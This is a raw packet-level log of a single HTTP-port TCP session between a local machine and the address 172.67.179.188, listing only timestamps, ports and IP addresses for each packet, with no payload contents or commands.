Mar 3, 2021 07:32:37.288407087 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.288429976 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.288470984 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.289599895 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.289659023 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.290746927 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.290769100 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.290848017 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.291893005 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.291939974 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.291989088 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.293040037 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.293062925 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.293121099 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.294222116 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.294245005 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.294289112 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.295413017 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.295435905 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.295490026 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.304044008 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.304078102 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.304141998 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.316107035 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.316138983 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.316229105 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.316329002 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.316351891 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.316399097 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.317548990 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.317574978 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.317656994 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.319288015 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.319319963 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.319386959 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.320215940 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.320249081 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.320301056 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.321371078 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.321407080 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.323076010 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.323163986 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.324177980 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.324203968 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.325042963 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.325053930 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.325067043 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.325100899 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.326838017 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.326865911 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.326951981 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.328824997 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.328850031 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.328877926 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.330112934 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.330137014 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.330460072 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.330483913 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.330534935 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.331175089 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.331206083 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.331681967 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.331862926 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.331887007 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.332566977 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.332592964 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.332643032 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.333282948 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.333311081 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.333978891 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.334008932 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.334059954 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.334676981 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.334731102 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.334939003 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.335395098 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.335421085 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.335496902 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.336110115 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.336134911 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.336289883 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.336792946 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.336816072 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.337176085 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.337513924 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.337538958 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.337578058 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.338221073 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.338248968 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.338285923 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.338921070 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.338948011 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.339603901 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.339675903 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.339705944 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.340316057 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.340342999 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.341032982 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.341058969 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.341101885 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.341747046 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.341770887 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.342497110 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.342525005 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.342571020 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.343139887 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.343163013 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.343671083 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.343826056 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.343858004 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.344104052 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.344542980 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.344578028 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.344613075 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.345242977 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.345264912 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.345376968 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.345983028 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.346014977 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.346090078 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.346666098 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.346690893 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.346781015 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.347381115 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.347407103 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.348078966 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.348105907 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.348150015 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.348773956 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.348802090 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.349543095 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.349574089 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.349626064 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.350207090 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.350233078 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.350882053 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.350909948 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.350951910 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.351593971 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.351624966 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.352355003 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.352381945 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.352410078 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.352452040 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.353010893 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.353037119 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.353061914 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.353715897 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.353745937 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.353781939 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.354445934 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.354471922 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.354506969 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.355120897 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.355150938 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.355182886 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.355808973 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.355834961 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.355887890 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.356513977 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.356540918 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.357234955 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.357255936 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.357302904 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.357945919 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.357974052 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.358655930 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.358678102 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.358725071 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.359379053 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.359399080 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.360019922 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.360039949 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.360090971 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.360758066 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.360780954 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.361212015 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.361478090 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.361502886 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.361555099 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.362149000 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.362168074 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.362234116 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.362865925 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.362889051 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.363014936 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.364486933 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.364505053 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.364554882 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.364803076 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.364821911 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.364851952 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.365881920 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.365899086 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.365959883 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.367604971 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.367624044 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.367680073 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.368550062 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.368567944 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.369668961 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.371397972 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.371427059 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.371566057 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.373295069 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.373326063 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.373368025 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.375195026 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.375224113 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.375268936 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.375505924 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.375549078 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.375581026 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.377650976 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.377681971 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.377734900 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.378788948 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.378818035 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.378937006 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.379098892 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.379122019 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.379163027 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.379901886 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.379935980 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.379960060 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.380448103 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.380479097 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.380943060 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.381115913 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.381140947 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.381778955 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.381809950 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.381872892 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.382433891 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.382462025 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.383094072 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.383121967 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.383127928 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.383157969 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.383769989 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.383802891 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.383857965 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.384414911 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.384443045 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.384465933 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.384514093 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.384536982 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.385369062 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.385420084 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.385446072 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.385559082 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.386341095 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.386368036 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.386389017 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.386404991 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.386548996 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.387233973 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.387259960 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.387280941 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.387305975 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.388134956 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.388170004 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.388195038 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.388226032 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.388282061 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.389005899 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.389035940 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.389060974 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.389098883 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.389842987 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.389872074 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.389897108 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.389962912 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.390664101 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.390696049 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.390717983 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.390786886 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.391477108 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.391506910 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.391527891 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.391577959 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.391599894 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.392277956 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.392304897 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.392556906 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.392580986 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.392606020 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.392643929 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.392663002 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.393430948 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.393457890 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.393480062 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.393501043 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.393549919 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.394203901 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.394233942 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.394254923 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.394324064 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.394937992 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.394963980 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.394982100 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.395032883 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.395709038 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.395739079 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.395761013 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.395827055 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.396459103 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.396486044 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.396511078 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.396529913 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.396560907 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.397155046 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.397186041 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.397209883 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.397248030 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.397929907 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.397958040 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.397981882 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.398000002 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.398005962 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.398034096 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.398868084 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.398897886 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.398921013 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.398942947 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.398986101 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.399858952 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.399910927 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.399934053 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.399955034 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.400021076 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.400775909 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.400805950 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.400826931 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.400849104 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.400904894 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.401686907 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.401715040 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.401738882 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.401760101 CET	80	49741	172.67.179.188	192.168.2.4
